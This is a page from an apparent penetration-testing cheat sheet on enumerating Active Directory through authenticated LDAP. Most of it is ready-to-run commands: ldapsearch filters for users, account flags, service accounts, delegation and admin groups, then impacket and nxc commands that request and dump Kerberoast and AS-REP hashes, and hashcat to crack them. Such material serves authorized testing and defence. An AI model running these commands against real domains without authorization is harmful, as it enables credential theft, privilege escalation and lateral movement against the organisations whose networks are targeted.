# LDAP Authenticated User Group Enumeration

> Enumerate Active Directory user groups via authenticated LDAP queries using tools like ldapsearch, BloodHound, and PowerView to map privilege relationships.

- **URL:** https://hackindex.io/services/ldap/enumeration/ldap-authenticated-user-group-enumeration
- **Path:** LDAP > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/ldap/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-07-14

With valid domain credentials (even a low-privilege user account), you can query nearly everything in Active Directory via LDAP. The goal is to map users, groups, service accounts, and delegations that translate into privilege escalation or lateral movement paths. Run this immediately after you obtain any set of valid domain credentials.

## Authenticating with ldapsearch

Two authentication formats work depending on the directory type.

**ldapsearch authenticated bind formats**

```bash
# Active Directory: DOMAIN\user format
ldapsearch -x -H ldap://$TARGET_IP -D "$DOMAIN\\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName

# Active Directory: UPN format
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName

# OpenLDAP: DN format
ldapsearch -x -H ldap://$TARGET_IP -D "cn=$USER,dc=corp,dc=local" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=*)"
```

## Users: full attribute pull

Pull all user objects with the attributes that matter for privilege escalation planning. `userAccountControl` tells you the account flags: disabled, no password required, no pre-auth. `memberOf` shows group memberships. `pwdLastSet` of 0 means the password was never set or is expired.

**Full user enumeration**

```bash
# All users with key attributes
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName userPrincipalName memberOf description userAccountControl pwdLastSet lastLogon servicePrincipalName

# Just enabled accounts
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" sAMAccountName

# Extract clean username list
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | grep -v '\$$'
```

The `grep -v '\$$'` at the end strips machine accounts (which end in `$`) leaving only user accounts. Machine accounts are still useful for Pass-the-Hash and Kerberos attacks but keep them separate from your user list.

## userAccountControl bit values

The `userAccountControl` attribute is a bitmask. These are the values that matter most during an engagement:

| Value | Hex | Meaning | Attack relevance |
| --- | --- | --- | --- |
| 2 | 0x0002 | Account disabled | Skip for spraying |
| 32 | 0x0020 | Password not required | Try blank password immediately |
| 65536 | 0x10000 | Password never expires | Old password, worth spraying |
| 4194304 | 0x400000 | No pre-auth required | AS-REP Roastable |
| 8192 | 0x2000 | Domain controller | DCSync target |

**UAC bit filter queries**

```bash
# Accounts with password not required
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName

# Accounts with no pre-auth (AS-REP Roastable)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# Accounts with password never expires
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName

# Disabled accounts
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName
```

## Service accounts and Kerberoasting

Any account with a Service Principal Name set can have its Kerberos TGS ticket requested by any authenticated user and cracked offline. Pull all SPNs, then request the tickets.

**Kerberoastable accounts via LDAP**

```bash
# All accounts with SPNs set
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

# Request TGS tickets for all Kerberoastable accounts
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt

# Crack
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

## Delegation: unconstrained and constrained

Delegation allows a service to authenticate to other services on behalf of a user. Unconstrained delegation means the service receives a copy of the user's TGT: if you compromise an account or machine with unconstrained delegation, any user who authenticates to it gives you their TGT. Constrained delegation restricts which services can be impersonated but can still be abused.

**Delegation enumeration**

```bash
# Unconstrained delegation: UAC bit 524288 (TRUSTED_FOR_DELEGATION)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName userAccountControl

# Unconstrained delegation on computers
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName

# Constrained delegation: msDS-AllowedToDelegateTo set
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

# Resource-based constrained delegation
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName
```

Computers with unconstrained delegation are high-value targets: any domain admin who authenticates to that machine (e.g. via a printer bug or forced authentication) gives you a TGT you can use for privilege escalation. Domain controllers always have unconstrained delegation by default, so filter them out with `(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))`. For exploitation see [Unconstrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse) and [Constrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/constrained-delegation-abuse).

## Groups and privileged memberships

**Group enumeration**

```bash
# All groups
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=group)" cn member description

# High-value group members
for group in "Domain Admins" "Enterprise Admins" "Schema Admins" "Backup Operators" "Account Operators" "DNSAdmins" "Remote Desktop Users"; do
  echo "=== $group ==="
  ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(cn=$group)" member | grep "^member:"
done

# Groups current user belongs to
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(sAMAccountName=$USER)" memberOf
```

## LDAP authenticated user and group enumeration with nxc

**nxc authenticated enumeration**

```bash
# Users and groups in one pass
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users --groups

# Privileged account markers
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --admin-count

# Password-not-required accounts
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --password-not-required

# Delegation targets
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --trusted-for-delegation

# AS-REP Roastable: dumps hashes directly
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt

# Kerberoastable: dumps TGS hashes directly
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt
```

After pulling users and identifying attack paths:

- AS-REP Roastable accounts go to [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting)
- Kerberoastable SPNs go to [Kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting) or [AD Kerberoasting](https://hackindex.io/platforms/active-directory/exploitation/kerberoasting)
- Unconstrained delegation targets go to [Unconstrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse)
- Constrained delegation targets go to [Constrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/constrained-delegation-abuse)
- ACL misconfigurations on high-value objects go to [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation)
- Credentials found in descriptions go to [AD Password Spraying](https://hackindex.io/platforms/active-directory/exploitation/ad-password-spraying) or lateral movement

## References

- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - Full LDAP module documentation and flags
- [Impacket GetUserSPNs: GitHub](https://github.com/fortra/impacket) - Kerberoasting via LDAP SPN enumeration
